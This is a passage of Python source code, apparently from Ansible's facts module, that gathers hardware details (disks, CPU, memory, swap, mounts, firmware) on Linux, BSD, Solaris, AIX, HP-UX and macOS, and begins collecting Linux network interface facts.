            pcidata = pcidata.decode('utf-8', 'replace')
        else:
            pcidata = None

        try:
            block_devs = os.listdir("/sys/block")
        except OSError:
            return

        for block in block_devs:
            virtual = 1
            sysfs_no_links = 0
            try:
                path = os.readlink(os.path.join("/sys/block/", block))
            except OSError:
                e = sys.exc_info()[1]
                if e.errno == errno.EINVAL:
                    path = block
                    sysfs_no_links = 1
                else:
                    continue
            if "virtual" in path:
                continue
            sysdir = os.path.join("/sys/block", path)
            if sysfs_no_links == 1:
                for folder in os.listdir(sysdir):
                    if "device" in folder:
                        virtual = 0
                        break
                if virtual:
                    continue
            d = {}
            diskname = os.path.basename(sysdir)
            for key in ['vendor', 'model', 'sas_address', 'sas_device_handle']:
                d[key] = get_file_content(sysdir + "/device/" + key)

            for key,test in [ ('removable','/removable'), \
                              ('support_discard','/queue/discard_granularity'),
                              ]:
                d[key] = get_file_content(sysdir + test)

            d['partitions'] = {}
            for folder in os.listdir(sysdir):
                m = re.search("(" + diskname + "\d+)", folder)
                if m:
                    part = {}
                    partname = m.group(1)
                    part_sysdir = sysdir + "/" + partname

                    part['start'] = get_file_content(part_sysdir + "/start",0)
                    part['sectors'] = get_file_content(part_sysdir + "/size",0)
                    part['sectorsize'] = get_file_content(part_sysdir + "/queue/logical_block_size")
                    if not part['sectorsize']:
                        part['sectorsize'] = get_file_content(part_sysdir + "/queue/hw_sector_size",512)
                    part['size'] = self.module.pretty_bytes((float(part['sectors']) * float(part['sectorsize'])))
                    part['uuid'] = get_partition_uuid(partname)
                    self.get_holders(part, part_sysdir)

                    d['partitions'][partname] = part

            d['rotational'] = get_file_content(sysdir + "/queue/rotational")
            d['scheduler_mode'] = ""
            scheduler = get_file_content(sysdir + "/queue/scheduler")
            if scheduler is not None:
                m = re.match(".*?(\[(.*)\])", scheduler)
                if m:
                    d['scheduler_mode'] = m.group(2)

            d['sectors'] = get_file_content(sysdir + "/size")
            if not d['sectors']:
                d['sectors'] = 0
            d['sectorsize'] = get_file_content(sysdir + "/queue/logical_block_size")
            if not d['sectorsize']:
                d['sectorsize'] = get_file_content(sysdir + "/queue/hw_sector_size",512)
            d['size'] = self.module.pretty_bytes(float(d['sectors']) * float(d['sectorsize']))

            d['host'] = ""

            # domains are numbered (0 to ffff), bus (0 to ff), slot (0 to 1f), and function (0 to 7).
            m = re.match(".+/([a-f0-9]{4}:[a-f0-9]{2}:[0|1][a-f0-9]\.[0-7])/", sysdir)
            if m and pcidata:
                pciid = m.group(1)
                did = re.escape(pciid)
                m = re.search("^" + did + "\s(.*)$", pcidata, re.MULTILINE)
                if m:
                    d['host'] = m.group(1)

            self.get_holders(d, sysdir)

            self.facts['devices'][diskname] = d

    def get_uptime_facts(self):
        uptime_file_content = get_file_content('/proc/uptime')
        if uptime_file_content:
            uptime_seconds_string = uptime_file_content.split(' ')[0]
            self.facts['uptime_seconds'] = int(float(uptime_seconds_string))

    def get_lvm_facts(self):
        """ Get LVM Facts if running as root and lvm utils are available """

        if os.getuid() == 0 and self.module.get_bin_path('vgs'):
            lvm_util_options = '--noheadings --nosuffix --units g'

            vgs_path = self.module.get_bin_path('vgs')
            #vgs fields: VG #PV #LV #SN Attr VSize VFree
            vgs={}
            if vgs_path:
                rc, vg_lines, err = self.module.run_command( '%s %s' % (vgs_path, lvm_util_options))
                for vg_line in vg_lines.splitlines():
                    items = vg_line.split()
                    vgs[items[0]] = {'size_g':items[-2],
                                     'free_g':items[-1],
                                     'num_lvs': items[2],
                                     'num_pvs': items[1]}

            lvs_path = self.module.get_bin_path('lvs')
            #lvs fields:
            #LV VG Attr LSize Pool Origin Data% Move Log Copy% Convert
            lvs = {}
            if lvs_path:
                rc, lv_lines, err = self.module.run_command( '%s %s' % (lvs_path, lvm_util_options))
                for lv_line in lv_lines.splitlines():
                    items = lv_line.split()
                    lvs[items[0]] = {'size_g': items[3], 'vg': items[1]}

            self.facts['lvm'] = {'lvs': lvs, 'vgs': vgs}


class SunOSHardware(Hardware):
    """
    In addition to the generic memory and cpu facts, this also sets
    swap_reserved_mb and swap_allocated_mb that is available from *swap -s*.
    """
    platform = 'SunOS'

    def populate(self):
        self.get_cpu_facts()
        self.get_memory_facts()
        try:
            self.get_mount_facts()
        except TimeoutError:
            pass
        return self.facts

    def get_cpu_facts(self):
        physid = 0
        sockets = {}
        rc, out, err = self.module.run_command("/usr/bin/kstat cpu_info")
        self.facts['processor'] = []
        for line in out.split('\n'):
            if len(line) < 1:
                continue
            data = line.split(None, 1)
            key = data[0].strip()
            # "brand" works on Solaris 10 & 11. "implementation" for Solaris 9.
            if key == 'module:':
                brand = ''
            elif key == 'brand':
                brand = data[1].strip()
            elif key == 'clock_MHz':
                clock_mhz = data[1].strip()
            elif key == 'implementation':
                processor = brand or data[1].strip()
                # Add clock speed to description for SPARC CPU
                if self.facts['machine'] != 'i86pc':
                    processor += " @ " + clock_mhz + "MHz"
                if 'processor' not in self.facts:
                    self.facts['processor'] = []
                self.facts['processor'].append(processor)
            elif key == 'chip_id':
                physid = data[1].strip()
                if physid not in sockets:
                    sockets[physid] = 1
                else:
                    sockets[physid] += 1
        # Counting cores on Solaris can be complicated.
        # https://blogs.oracle.com/mandalika/entry/solaris_show_me_the_cpu
        # Treat 'processor_count' as physical sockets and 'processor_cores' as
        # virtual CPUs visisble to Solaris. Not a true count of cores for modern SPARC as
        # these processors have: sockets -> cores -> threads/virtual CPU.
        if len(sockets) > 0:
            self.facts['processor_count'] = len(sockets)
            self.facts['processor_cores'] = reduce(lambda x, y: x + y, sockets.values())
        else:
            self.facts['processor_cores'] = 'NA'
            self.facts['processor_count'] = len(self.facts['processor'])

    def get_memory_facts(self):
        rc, out, err = self.module.run_command(["/usr/sbin/prtconf"])
        for line in out.split('\n'):
            if 'Memory size' in line:
                self.facts['memtotal_mb'] = line.split()[2]
        rc, out, err = self.module.run_command("/usr/sbin/swap -s")
        allocated = long(out.split()[1][:-1])
        reserved = long(out.split()[5][:-1])
        used = long(out.split()[8][:-1])
        free = long(out.split()[10][:-1])
        self.facts['swapfree_mb'] = free / 1024
        self.facts['swaptotal_mb'] = (free + used) / 1024
        self.facts['swap_allocated_mb'] = allocated / 1024
        self.facts['swap_reserved_mb'] = reserved / 1024

    @timeout(10)
    def get_mount_facts(self):
        self.facts['mounts'] = []
        # For a detailed format description see mnttab(4)
        #   special mount_point fstype options time
        fstab = get_file_content('/etc/mnttab')
        if fstab:
            for line in fstab.split('\n'):
                fields = line.rstrip('\n').split('\t')
                size_total, size_available = self._get_mount_size_facts(fields[1])
                self.facts['mounts'].append({'mount': fields[1], 'device': fields[0], 'fstype' : fields[2], 'options': fields[3], 'time': fields[4], 'size_total': size_total, 'size_available': size_available})


class OpenBSDHardware(Hardware):
    """
    OpenBSD-specific subclass of Hardware. Defines memory, CPU and device facts:
    - memfree_mb
    - memtotal_mb
    - swapfree_mb
    - swaptotal_mb
    - processor (a list)
    - processor_cores
    - processor_count
    - processor_speed
    - devices
    """
    platform = 'OpenBSD'
    DMESG_BOOT = '/var/run/dmesg.boot'

    def populate(self):
        self.sysctl = self.get_sysctl()
        self.get_memory_facts()
        self.get_processor_facts()
        self.get_device_facts()
        self.get_mount_facts()
        return self.facts

    def get_sysctl(self):
        rc, out, err = self.module.run_command(["/sbin/sysctl", "hw"])
        if rc != 0:
            return dict()
        sysctl = dict()
        for line in out.splitlines():
            (key, value) = line.split('=')
            sysctl[key] = value.strip()
        return sysctl

    @timeout(10)
    def get_mount_facts(self):
        self.facts['mounts'] = []
        fstab = get_file_content('/etc/fstab')
        if fstab:
            for line in fstab.split('\n'):
                if line.startswith('#') or line.strip() == '':
                    continue
                fields = re.sub(r'\s+',' ',line.rstrip('\n')).split()
                if fields[1] == 'none' or fields[3] == 'xx':
                    continue
                size_total, size_available = self._get_mount_size_facts(fields[1])
                self.facts['mounts'].append({'mount': fields[1], 'device': fields[0], 'fstype' : fields[2], 'options': fields[3], 'size_total': size_total, 'size_available': size_available})


    def get_memory_facts(self):
        # Get free memory. vmstat output looks like:
        #  procs    memory       page                    disks    traps          cpu
        #  r b w    avm     fre  flt  re  pi  po  fr  sr wd0 fd0  int   sys   cs us sy id
        #  0 0 0  47512   28160   51   0   0   0   0   0   1   0  116    89   17  0  1 99
        rc, out, err = self.module.run_command("/usr/bin/vmstat")
        if rc == 0:
            self.facts['memfree_mb'] = long(out.splitlines()[-1].split()[4]) / 1024
            self.facts['memtotal_mb'] = long(self.sysctl['hw.usermem']) / 1024 / 1024

        # Get swapctl info. swapctl output looks like:
        # total: 69268 1K-blocks allocated, 0 used, 69268 available
        # And for older OpenBSD:
        # total: 69268k bytes allocated = 0k used, 69268k available
        rc, out, err = self.module.run_command("/sbin/swapctl -sk")
        if rc == 0:
            swaptrans = maketrans(' ', ' ')
            data = out.split()
            self.facts['swapfree_mb'] = long(data[-2].translate(swaptrans, "kmg")) / 1024
            self.facts['swaptotal_mb'] = long(data[1].translate(swaptrans, "kmg")) / 1024

    def get_processor_facts(self):
        processor = []
        dmesg_boot = get_file_content(OpenBSDHardware.DMESG_BOOT)
        if not dmesg_boot:
            rc, dmesg_boot, err = self.module.run_command("/sbin/dmesg")
        i = 0
        for line in dmesg_boot.splitlines():
            if line.split(' ', 1)[0] == 'cpu%i:' % i:
                processor.append(line.split(' ', 1)[1])
                i = i + 1
        processor_count = i
        self.facts['processor'] = processor
        self.facts['processor_count'] = processor_count
        # I found no way to figure out the number of Cores per CPU in OpenBSD
        self.facts['processor_cores'] = 'NA'

    def get_device_facts(self):
        devices = []
        devices.extend(self.sysctl['hw.disknames'].split(','))
        self.facts['devices'] = devices

class FreeBSDHardware(Hardware):
    """
    FreeBSD-specific subclass of Hardware.  Defines memory and CPU facts:
    - memfree_mb
    - memtotal_mb
    - swapfree_mb
    - swaptotal_mb
    - processor (a list)
    - processor_cores
    - processor_count
    - devices
    """
    platform = 'FreeBSD'
    DMESG_BOOT = '/var/run/dmesg.boot'

    def populate(self):
        self.get_cpu_facts()
        self.get_memory_facts()
        self.get_dmi_facts()
        self.get_device_facts()
        try:
            self.get_mount_facts()
        except TimeoutError:
            pass
        return self.facts

    def get_cpu_facts(self):
        self.facts['processor'] = []
        rc, out, err = self.module.run_command("/sbin/sysctl -n hw.ncpu")
        self.facts['processor_count'] = out.strip()

        dmesg_boot = get_file_content(FreeBSDHardware.DMESG_BOOT)
        if not dmesg_boot:
            rc, dmesg_boot, err = self.module.run_command("/sbin/dmesg")
        for line in dmesg_boot.split('\n'):
            if 'CPU:' in line:
                cpu = re.sub(r'CPU:\s+', r"", line)
                self.facts['processor'].append(cpu.strip())
            if 'Logical CPUs per core' in line:
                self.facts['processor_cores'] = line.split()[4]


    def get_memory_facts(self):
        rc, out, err = self.module.run_command("/sbin/sysctl vm.stats")
        for line in out.split('\n'):
            data = line.split()
            if 'vm.stats.vm.v_page_size' in line:
                pagesize = long(data[1])
            if 'vm.stats.vm.v_page_count' in line:
                pagecount = long(data[1])
            if 'vm.stats.vm.v_free_count' in line:
                freecount = long(data[1])
        self.facts['memtotal_mb'] = pagesize * pagecount / 1024 / 1024
        self.facts['memfree_mb'] = pagesize * freecount / 1024 / 1024
        # Get swapinfo.  swapinfo output looks like:
        # Device          1M-blocks     Used    Avail Capacity
        # /dev/ada0p3        314368        0   314368     0%
        #
        rc, out, err = self.module.run_command("/usr/sbin/swapinfo -k")
        lines = out.split('\n')
        if len(lines[-1]) == 0:
            lines.pop()
        data = lines[-1].split()
        if data[0] != 'Device':
            self.facts['swaptotal_mb'] = int(data[1]) / 1024
            self.facts['swapfree_mb'] = int(data[3]) / 1024

    @timeout(10)
    def get_mount_facts(self):
        self.facts['mounts'] = []
        fstab = get_file_content('/etc/fstab')
        if fstab:
            for line in fstab.split('\n'):
                if line.startswith('#') or line.strip() == '':
                    continue
                fields = re.sub(r'\s+',' ',line.rstrip('\n')).split()
                size_total, size_available = self._get_mount_size_facts(fields[1])
                self.facts['mounts'].append({'mount': fields[1], 'device': fields[0], 'fstype' : fields[2], 'options': fields[3], 'size_total': size_total, 'size_available': size_available})

    def get_device_facts(self):
        sysdir = '/dev'
        self.facts['devices'] = {}
        drives = re.compile('(ada?\d+|da\d+|a?cd\d+)') #TODO: rc, disks, err = self.module.run_command("/sbin/sysctl kern.disks")
        slices = re.compile('(ada?\d+s\d+\w*|da\d+s\d+\w*)')
        if os.path.isdir(sysdir):
            dirlist = sorted(os.listdir(sysdir))
            for device in dirlist:
                d = drives.match(device)
                if d:
                    self.facts['devices'][d.group(1)] = []
                s = slices.match(device)
                if s:
                    self.facts['devices'][d.group(1)].append(s.group(1))

    def get_dmi_facts(self):
        ''' learn dmi facts from system

        Use dmidecode executable if available'''

        # Fall back to using dmidecode, if available
        dmi_bin = self.module.get_bin_path('dmidecode')
        DMI_DICT = dict(
            bios_date='bios-release-date',
            bios_version='bios-version',
            form_factor='chassis-type',
            product_name='system-product-name',
            product_serial='system-serial-number',
            product_uuid='system-uuid',
            product_version='system-version',
            system_vendor='system-manufacturer'
        )
        for (k, v) in DMI_DICT.items():
            if dmi_bin is not None:
                (rc, out, err) = self.module.run_command('%s -s %s' % (dmi_bin, v))
                if rc == 0:
                    # Strip out commented lines (specific dmidecode output)
                    self.facts[k] = ''.join([ line for line in out.split('\n') if not line.startswith('#') ])
                    try:
                        json.dumps(self.facts[k])
                    except UnicodeDecodeError:
                        self.facts[k] = 'NA'
                else:
                    self.facts[k] = 'NA'
            else:
                self.facts[k] = 'NA'


class DragonFlyHardware(FreeBSDHardware):
    platform = 'DragonFly'


class NetBSDHardware(Hardware):
    """
    NetBSD-specific subclass of Hardware.  Defines memory and CPU facts:
    - memfree_mb
    - memtotal_mb
    - swapfree_mb
    - swaptotal_mb
    - processor (a list)
    - processor_cores
    - processor_count
    - devices
    """
    platform = 'NetBSD'
    MEMORY_FACTS = ['MemTotal', 'SwapTotal', 'MemFree', 'SwapFree']

    def populate(self):
        self.get_cpu_facts()
        self.get_memory_facts()
        try:
            self.get_mount_facts()
        except TimeoutError:
            pass
        return self.facts

    def get_cpu_facts(self):

        i = 0
        physid = 0
        sockets = {}
        if not os.access("/proc/cpuinfo", os.R_OK):
            return
        self.facts['processor'] = []
        for line in get_file_lines("/proc/cpuinfo"):
            data = line.split(":", 1)
            key = data[0].strip()
            # model name is for Intel arch, Processor (mind the uppercase P)
            # works for some ARM devices, like the Sheevaplug.
            if key == 'model name' or key == 'Processor':
                if 'processor' not in self.facts:
                    self.facts['processor'] = []
                self.facts['processor'].append(data[1].strip())
                i += 1
            elif key == 'physical id':
                physid = data[1].strip()
                if physid not in sockets:
                    sockets[physid] = 1
            elif key == 'cpu cores':
                sockets[physid] = int(data[1].strip())
        if len(sockets) > 0:
            self.facts['processor_count'] = len(sockets)
            self.facts['processor_cores'] = reduce(lambda x, y: x + y, sockets.values())
        else:
            self.facts['processor_count'] = i
            self.facts['processor_cores'] = 'NA'

    def get_memory_facts(self):
        if not os.access("/proc/meminfo", os.R_OK):
            return
        for line in get_file_lines("/proc/meminfo"):
            data = line.split(":", 1)
            key = data[0]
            if key in NetBSDHardware.MEMORY_FACTS:
                val = data[1].strip().split(' ')[0]
                self.facts["%s_mb" % key.lower()] = long(val) / 1024

    @timeout(10)
    def get_mount_facts(self):
        self.facts['mounts'] = []
        fstab = get_file_content('/etc/fstab')
        if fstab:
            for line in fstab.split('\n'):
                if line.startswith('#') or line.strip() == '':
                    continue
                fields = re.sub(r'\s+',' ',line.rstrip('\n')).split()
                size_total, size_available = self._get_mount_size_facts(fields[1])
                self.facts['mounts'].append({'mount': fields[1], 'device': fields[0], 'fstype' : fields[2], 'options': fields[3], 'size_total': size_total, 'size_available': size_available})

class AIX(Hardware):
    """
    AIX-specific subclass of Hardware.  Defines memory and CPU facts:
    - memfree_mb
    - memtotal_mb
    - swapfree_mb
    - swaptotal_mb
    - processor (a list)
    - processor_cores
    - processor_count
    """
    platform = 'AIX'

    def populate(self):
        self.get_cpu_facts()
        self.get_memory_facts()
        self.get_dmi_facts()
        return self.facts

    def get_cpu_facts(self):
        self.facts['processor'] = []


        rc, out, err = self.module.run_command("/usr/sbin/lsdev -Cc processor")
        if out:
            i = 0
            for line in out.split('\n'):

                if 'Available' in line:
                    if i == 0:
                        data = line.split(' ')
                        cpudev = data[0]

                    i += 1
            self.facts['processor_count'] = int(i)

            rc, out, err = self.module.run_command("/usr/sbin/lsattr -El " + cpudev + " -a type")

            data = out.split(' ')
            self.facts['processor'] = data[1]

            rc, out, err = self.module.run_command("/usr/sbin/lsattr -El " + cpudev + " -a smt_threads")

            data = out.split(' ')
            self.facts['processor_cores'] = int(data[1])

    def get_memory_facts(self):
        pagesize = 4096
        rc, out, err = self.module.run_command("/usr/bin/vmstat -v")
        for line in out.split('\n'):
            data = line.split()
            if 'memory pages' in line:
                pagecount = long(data[0])
            if 'free pages' in line:
                freecount = long(data[0])
        self.facts['memtotal_mb'] = pagesize * pagecount / 1024 / 1024
        self.facts['memfree_mb'] = pagesize * freecount / 1024 / 1024
        # Get swapinfo.  swapinfo output looks like:
        # Device          1M-blocks     Used    Avail Capacity
        # /dev/ada0p3        314368        0   314368     0%
        #
        rc, out, err = self.module.run_command("/usr/sbin/lsps -s")
        if out:
            lines = out.split('\n')
            data = lines[1].split()
            swaptotal_mb = long(data[0].rstrip('MB'))
            percused = int(data[1].rstrip('%'))
            self.facts['swaptotal_mb'] = swaptotal_mb
            self.facts['swapfree_mb'] = long(swaptotal_mb * ( 100 - percused ) / 100)

    def get_dmi_facts(self):
        rc, out, err = self.module.run_command("/usr/sbin/lsattr -El sys0 -a fwversion")
        data = out.split()
        self.facts['firmware_version'] = data[1].strip('IBM,')

class HPUX(Hardware):
    """
    HP-UX-specific subclass of Hardware. Defines memory and CPU facts:
    - memfree_mb
    - memtotal_mb
    - swapfree_mb
    - swaptotal_mb
    - processor
    - processor_cores
    - processor_count
    - model
    - firmware
    """

    platform = 'HP-UX'

    def populate(self):
        self.get_cpu_facts()
        self.get_memory_facts()
        self.get_hw_facts()
        return self.facts

    def get_cpu_facts(self):
        if self.facts['architecture'] == '9000/800':
            rc, out, err = self.module.run_command("ioscan -FkCprocessor | wc -l", use_unsafe_shell=True)
            self.facts['processor_count'] = int(out.strip())
        #Working with machinfo mess
        elif self.facts['architecture'] == 'ia64':
            if self.facts['distribution_version'] == "B.11.23":
                rc, out, err = self.module.run_command("/usr/contrib/bin/machinfo | grep 'Number of CPUs'", use_unsafe_shell=True)
                self.facts['processor_count'] = int(out.strip().split('=')[1])
                rc, out, err = self.module.run_command("/usr/contrib/bin/machinfo | grep 'processor family'", use_unsafe_shell=True)
                self.facts['processor'] = re.search('.*(Intel.*)', out).groups()[0].strip()
                rc, out, err = self.module.run_command("ioscan -FkCprocessor | wc -l", use_unsafe_shell=True)
                self.facts['processor_cores'] = int(out.strip())
            if self.facts['distribution_version'] == "B.11.31":
                #if machinfo return cores strings release B.11.31 > 1204
                rc, out, err = self.module.run_command("/usr/contrib/bin/machinfo | grep core | wc -l", use_unsafe_shell=True)
                if out.strip()== '0':
                    rc, out, err = self.module.run_command("/usr/contrib/bin/machinfo | grep Intel", use_unsafe_shell=True)
                    self.facts['processor_count'] = int(out.strip().split(" ")[0])
                    #If hyperthreading is active divide cores by 2
                    rc, out, err = self.module.run_command("/usr/sbin/psrset | grep LCPU", use_unsafe_shell=True)
                    data = re.sub(' +',' ',out).strip().split(' ')
                    if len(data) == 1:
                        hyperthreading = 'OFF'
                    else:
                        hyperthreading = data[1]
                    rc, out, err = self.module.run_command("/usr/contrib/bin/machinfo | grep logical", use_unsafe_shell=True)
                    data = out.strip().split(" ")
                    if hyperthreading == 'ON':
                        self.facts['processor_cores'] = int(data[0])/2
                    else:
                        if len(data) == 1:
                            self.facts['processor_cores'] = self.facts['processor_count']
                        else:
                            self.facts['processor_cores'] = int(data[0])
                    rc, out, err = self.module.run_command("/usr/contrib/bin/machinfo | grep Intel |cut -d' ' -f4-", use_unsafe_shell=True)
                    self.facts['processor'] = out.strip()
                else:
                    rc, out, err = self.module.run_command("/usr/contrib/bin/machinfo | egrep 'socket[s]?$' | tail -1", use_unsafe_shell=True)
                    self.facts['processor_count'] = int(out.strip().split(" ")[0])
                    rc, out, err = self.module.run_command("/usr/contrib/bin/machinfo | grep -e '[0-9] core' | tail -1", use_unsafe_shell=True)
                    self.facts['processor_cores'] = int(out.strip().split(" ")[0])
                    rc, out, err = self.module.run_command("/usr/contrib/bin/machinfo | grep Intel", use_unsafe_shell=True)
                    self.facts['processor'] = out.strip()

    def get_memory_facts(self):
        pagesize = 4096
        rc, out, err = self.module.run_command("/usr/bin/vmstat | tail -1", use_unsafe_shell=True)
        data = int(re.sub(' +',' ',out).split(' ')[5].strip())
        self.facts['memfree_mb'] = pagesize * data / 1024 / 1024
        if self.facts['architecture'] == '9000/800':
            try:
                rc, out, err = self.module.run_command("grep Physical /var/adm/syslog/syslog.log")
                data = re.search('.*Physical: ([0-9]*) Kbytes.*',out).groups()[0].strip()
                self.facts['memtotal_mb'] = int(data) / 1024
            except AttributeError:
                #For systems where memory details aren't sent to syslog or the log has rotated, use parsed
                #adb output. Unfortunately /dev/kmem doesn't have world-read, so this only works as root.
                if os.access("/dev/kmem", os.R_OK):
                    rc, out, err = self.module.run_command("echo 'phys_mem_pages/D' | adb -k /stand/vmunix /dev/kmem | tail -1 | awk '{print $2}'", use_unsafe_shell=True)
                    if not err:
                      data = out
                      self.facts['memtotal_mb'] = int(data) / 256
        else:
            rc, out, err = self.module.run_command("/usr/contrib/bin/machinfo | grep Memory", use_unsafe_shell=True)
            data = re.search('Memory[\ :=]*([0-9]*).*MB.*',out).groups()[0].strip()
            self.facts['memtotal_mb'] = int(data)
        rc, out, err = self.module.run_command("/usr/sbin/swapinfo -m -d -f -q")
        self.facts['swaptotal_mb'] = int(out.strip())
        rc, out, err = self.module.run_command("/usr/sbin/swapinfo -m -d -f | egrep '^dev|^fs'", use_unsafe_shell=True)
        swap = 0
        for line in out.strip().split('\n'):
            swap += int(re.sub(' +',' ',line).split(' ')[3].strip())
        self.facts['swapfree_mb'] = swap

    def get_hw_facts(self):
        rc, out, err = self.module.run_command("model")
        self.facts['model'] = out.strip()
        if self.facts['architecture'] == 'ia64':
            separator = ':'
            if self.facts['distribution_version'] == "B.11.23":
                separator = '='
            rc, out, err = self.module.run_command("/usr/contrib/bin/machinfo |grep -i 'Firmware revision' | grep -v BMC", use_unsafe_shell=True)
            self.facts['firmware_version'] = out.split(separator)[1].strip()


class Darwin(Hardware):
    """
    Darwin-specific subclass of Hardware.  Defines memory and CPU facts:
    - processor
    - processor_cores
    - memtotal_mb
    - memfree_mb
    - model
    - osversion
    - osrevision
    """
    platform = 'Darwin'

    def populate(self):
        self.sysctl = self.get_sysctl()
        self.get_mac_facts()
        self.get_cpu_facts()
        self.get_memory_facts()
        return self.facts

    def get_sysctl(self):
        rc, out, err = self.module.run_command(["/usr/sbin/sysctl", "hw", "machdep", "kern"])
        if rc != 0:
            return dict()
        sysctl = dict()
        for line in out.splitlines():
            if line.rstrip("\n"):
                (key, value) = re.split(' = |: ', line, maxsplit=1)
                sysctl[key] = value.strip()
        return sysctl

    def get_system_profile(self):
        rc, out, err = self.module.run_command(["/usr/sbin/system_profiler", "SPHardwareDataType"])
        if rc != 0:
            return dict()
        system_profile = dict()
        for line in out.splitlines():
            if ': ' in line:
                (key, value) = line.split(': ', 1)
                system_profile[key.strip()] = ' '.join(value.strip().split())
        return system_profile

    def get_mac_facts(self):
        rc, out, err = self.module.run_command("sysctl hw.model")
        if rc == 0:
            self.facts['model'] = out.splitlines()[-1].split()[1]
        self.facts['osversion'] = self.sysctl['kern.osversion']
        self.facts['osrevision'] = self.sysctl['kern.osrevision']

    def get_cpu_facts(self):
        if 'machdep.cpu.brand_string' in self.sysctl: # Intel
            self.facts['processor'] = self.sysctl['machdep.cpu.brand_string']
            self.facts['processor_cores'] = self.sysctl['machdep.cpu.core_count']
        else: # PowerPC
            system_profile = self.get_system_profile()
            self.facts['processor'] = '%s @ %s' % (system_profile['Processor Name'], system_profile['Processor Speed'])
            self.facts['processor_cores'] = self.sysctl['hw.physicalcpu']

    def get_memory_facts(self):
        self.facts['memtotal_mb'] = long(self.sysctl['hw.memsize']) / 1024 / 1024

        rc, out, err = self.module.run_command("sysctl hw.usermem")
        if rc == 0:
            self.facts['memfree_mb'] = long(out.splitlines()[-1].split()[1]) / 1024 / 1024


class Network(Facts):
    """
    This is a generic Network subclass of Facts.  This should be further
    subclassed to implement per platform.  If you subclass this,
    you must define:
    - interfaces (a list of interface names)
    - interface_<name> dictionary of ipv4, ipv6, and mac address information.

    All subclasses MUST define platform.
    """
    platform = 'Generic'

    IPV6_SCOPE = { '0' : 'global',
                   '10' : 'host',
                   '20' : 'link',
                   '40' : 'admin',
                   '50' : 'site',
                   '80' : 'organization' }

    def __new__(cls, *arguments, **keyword):
        # When Network is created, it chooses a subclass to create instead.
        # This check prevents the subclass from then trying to find a subclass
        # and create that.
        if cls is not Network:
            return super(Network, cls).__new__(cls)

        subclass = cls
        for sc in get_all_subclasses(Network):
            if sc.platform == platform.system():
                subclass = sc
        if PY3:
            return super(cls, subclass).__new__(subclass)
        else:
            return super(cls, subclass).__new__(subclass, *arguments, **keyword)

    def populate(self):
        return self.facts

class LinuxNetwork(Network):
    """
    This is a Linux-specific subclass of Network.  It defines
    - interfaces (a list of interface names)
    - interface_<name> dictionary of ipv4, ipv6, and mac address information.
    - all_ipv4_addresses and all_ipv6_addresses: lists of all configured addresses.
    - ipv4_address and ipv6_address: the first non-local address for each family.
    """
    platform = 'Linux'

    def populate(self):
        ip_path = self.module.get_bin_path('ip')
        if ip_path is None:
            return self.facts
        default_ipv4, default_ipv6 = self.get_default_interfaces(ip_path)
        interfaces, ips = self.get_interfaces_info(ip_path, default_ipv4, default_ipv6)
        self.facts['interfaces'] = interfaces.keys()
        for iface in interfaces:
            self.facts[iface] = interfaces[iface]
        self.facts['default_ipv4'] = default_ipv4
        self.facts['default_ipv6'] = default_ipv6
        self.facts['all_ipv4_addresses'] = ips['all_ipv4_addresses']
        self.facts['all_ipv6_addresses'] = ips['all_ipv6_addresses']
        return self.facts

    def get_default_interfaces(self, ip_path):
        # Use the commands:
        #     ip -4 route get 8.8.8.8                     -> Google public DNS
        #     ip -6 route get 2404:6800:400a:800::1012    -> ipv6.google.com
        # to find out the default outgoing interface, address, and gateway
        command = dict(
            v4 = [ip_path, '-4', 'route', 'get', '8.8.8.8'],
            v6 = [ip_path, '-6', 'route', 'get', '2404:6800:400a:800::1012']
        )
        interface = dict(v4 = {}, v6 = {})
        for v in 'v4', 'v6':
            if v == 'v6' and self.facts['os_family'] == 'RedHat' \
                and self.facts['distribution_version'].startswith('4.'):
                continue
            if v == 'v6' and not socket.has_ipv6:
                continue
            rc, out, err = self.module.run_command(command[v])
            out = out.decode('utf-8', 'replace')
            if not out:
                # v6 routing may result in
                #   RTNETLINK answers: Invalid argument
                continue
            words = out.split('\n')[0].split()
            # A valid output starts with the queried address on the first line
            if len(words) > 0 and words[0] == command[v][-1]:
                for i in range(len(words) - 1):
                    if words[i] == 'dev':
                        interface[v]['interface'] = words[i+1]
                    elif words[i] == 'src':
                        interface[v]['address'] = words[i+1]
                    elif words[i] == 'via' and words[i+1] != command[v][-1]:
                        interface[v]['gateway'] = words[i+1]
        return interface['v4'], interface['v6']

    def get_interfaces_info(self, ip_path, default_ipv4, default_ipv6):
        interfaces = {}
        ips = dict(
            all_ipv4_addresses = [],
            all_ipv6_addresses = [],
        )

        for path in glob.glob('/sys/class/net/*'):
            if not os.path.isdir(path):
                continue
            device = os.path.basename(path)
            interfaces[device] = { 'device': device }
            if os.path.exists(os.path.join(path, 'address')):
                macaddress = get_file_content(os.path.join(path, 'address'), default='')
                if macaddress and macaddress != '00:00:00:00:00:00':
                    interfaces[device]['macaddress'] = macaddress
            if os.path.exists(os.path.join(path, 'mtu')):
                interfaces[device]['mtu'] = int(get_file_content(os.path.join(path, 'mtu')))
            if os.path.exists(os.path.join(path, 'operstate')):
                interfaces[device]['active'] = get_file_content(os.path.join(path, 'operstate')) != 'down'
            if os.path.exists(os.path.join(path, 'device','driver', 'module')):
                interfaces[device]['module'] = os.path.basename(os.path.realpath(os.path.join(path, 'device', 'driver', 'module')))
            if os.path.exists(os.path.join(path, 'type')):
                _type = get_file_content(os.path.join(path, 'type'))
                if _type == '1':
                    interfaces[device]['type'] = 'ether'
                elif _type == '512':
                    interfaces[device]['type'] = 'ppp'
                elif _type == '772':
                    interfaces[device]['type'] = 'loopback'
            if os.path.exists(os.path.join(path, 'bridge')):
                interfaces[device]['type'] = 'bridge'
                interfaces[device]['interfaces'] = [ os.path.basename(b) for b in glob.glob(os.path.join(path, 'brif', '*')) ]
                if os.path.exists(os.path.join(path, 'bridge', 'bridge_id')):
                    interfaces[device]['id'] = get_file_content(os.path.join(path, 'bridge', 'bridge_id'), default='')
                if os.path.exists(os.path.join(path, 'bridge', 'stp_state')):
                    interfaces[device]['stp'] = get_file_content(os.path.join(path, 'bridge', 'stp_state')) == '1'
            if os.path.exists(os.path.join(path, 'bonding')):
                interfaces[device]['type'] = 'bonding'
                interfaces[device]['slaves'] = get_file_content(os.path.join(path, 'bonding', 'slaves'), default='').split()
                interfaces[device]['mode'] = get_file_content(os.path.join(path, 'bonding', 'mode'), default='').split()[0]
                interfaces[device]['miimon'] = get_file_content(os.path.join(path, 'bonding', 'miimon'), default='').split()[0]
                interfaces[device]['lacp_rate'] = get_file_content(os.path.join(path, 'bonding', 'lacp_rate'), default='').split()[0]
                primary = get_file_content(os.path.join(path, 'bonding', 'primary'))
                if primary:
                    interfaces[device]['primary'] = primary
